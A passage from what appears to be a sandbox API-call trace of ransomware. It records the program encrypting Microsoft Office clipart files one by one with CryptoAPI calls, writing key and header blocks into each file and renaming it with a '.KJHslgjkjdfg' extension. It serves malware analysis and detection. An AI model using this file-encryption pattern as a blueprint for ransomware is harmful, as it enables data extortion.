office\\clipart\\pub60cor\\fd00455_.wmf.kjhslgjkjdfg")) returned 1 [0195.617] CloseHandle (hObject=0x130) returned 1 [0195.617] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3a87600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3a87600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x43fe, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00459_.WMF", cAlternateFileName="")) returned 1 [0195.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.618] GetProcessHeap () returned 0x2ef0000 [0195.618] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.618] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.618] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.618] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0195.629] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.629] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.629] GetProcessHeap () returned 0x2ef0000 [0195.629] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.629] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.629] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.629] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.630] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.630] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.630] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.630] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.630] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.630] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.630] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.630] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.630] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x43fe, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x43fe, lpOverlapped=0x0) returned 1 [0195.639] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4400, dwBufLen=0x4400 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4400) returned 1 [0195.639] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.640] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4400, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4400, lpOverlapped=0x0) returned 1 [0195.640] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.640] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x44d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.640] SetEndOfFile (hFile=0x130) returned 1 [0195.642] GetProcessHeap () returned 0x2ef0000 [0195.642] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.642] GetProcessHeap () returned 0x2ef0000 [0195.642] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.642] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf.kjhslgjkjdfg")) returned 1 [0195.643] CloseHandle (hObject=0x130) returned 1 [0195.643] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2774900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2774900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x5c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00543_.WMF", cAlternateFileName="")) returned 1 [0195.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.644] GetProcessHeap () returned 0x2ef0000 [0195.644] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.644] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.644] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.644] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.644] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.644] GetProcessHeap () returned 0x2ef0000 [0195.644] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.644] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.645] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.645] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.653] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.654] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.654] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.654] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.654] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.654] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.654] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.654] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.654] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5c0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5c0, lpOverlapped=0x0) returned 1 [0195.654] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5c0) returned 1 [0195.654] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.654] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5c0, lpOverlapped=0x0) returned 1 [0195.654] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.654] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.654] SetEndOfFile (hFile=0x130) returned 1 [0195.657] GetProcessHeap () returned 0x2ef0000 [0195.657] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.657] GetProcessHeap () returned 0x2ef0000 [0195.657] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.657] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf.kjhslgjkjdfg")) returned 1 [0195.658] CloseHandle (hObject=0x130) returned 1 [0195.658] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf50d3100, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf50d3100, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x148c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00544_.WMF", cAlternateFileName="")) returned 1 [0195.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.659] GetProcessHeap () returned 0x2ef0000 [0195.659] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.659] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.659] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.659] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.661] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.661] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.661] GetProcessHeap () returned 0x2ef0000 [0195.661] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.661] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.661] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.661] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.661] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.661] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.661] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.661] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.662] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.662] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.662] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.662] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.662] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x148c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x148c, lpOverlapped=0x0) returned 1 [0195.662] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1490, dwBufLen=0x1490 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1490) returned 1 [0195.663] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.663] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1490, lpOverlapped=0x0) returned 1 [0195.663] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.663] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.663] SetEndOfFile (hFile=0x130) returned 1 [0195.665] GetProcessHeap () returned 0x2ef0000 [0195.665] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.665] GetProcessHeap () returned 0x2ef0000 [0195.665] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.665] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf.kjhslgjkjdfg")) returned 1 [0195.666] CloseHandle (hObject=0x130) returned 1 [0195.666] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb4f600, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb4f600, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00564_.WMF", cAlternateFileName="")) returned 1 [0195.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.667] GetProcessHeap () returned 0x2ef0000 [0195.667] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.667] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.667] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.667] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.667] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.667] GetProcessHeap () returned 0x2ef0000 [0195.667] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.667] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.667] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.667] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.669] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.669] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.669] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.669] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.669] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.669] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.669] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.669] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.669] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x380, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x380, lpOverlapped=0x0) returned 1 [0195.669] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x380, dwBufLen=0x380 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x380) returned 1 [0195.670] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.670] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x380, lpOverlapped=0x0) returned 1 [0195.670] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.670] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.670] SetEndOfFile (hFile=0x130) returned 1 [0195.672] GetProcessHeap () returned 0x2ef0000 [0195.672] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.672] GetProcessHeap () returned 0x2ef0000 [0195.672] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.672] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf.kjhslgjkjdfg")) returned 1 [0195.673] CloseHandle (hObject=0x130) returned 1 [0195.673] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4dd7200, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4dd7200, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x2f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00586_.WMF", cAlternateFileName="")) returned 1 [0195.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.673] GetProcessHeap () returned 0x2ef0000 [0195.673] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.673] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.673] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.673] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, 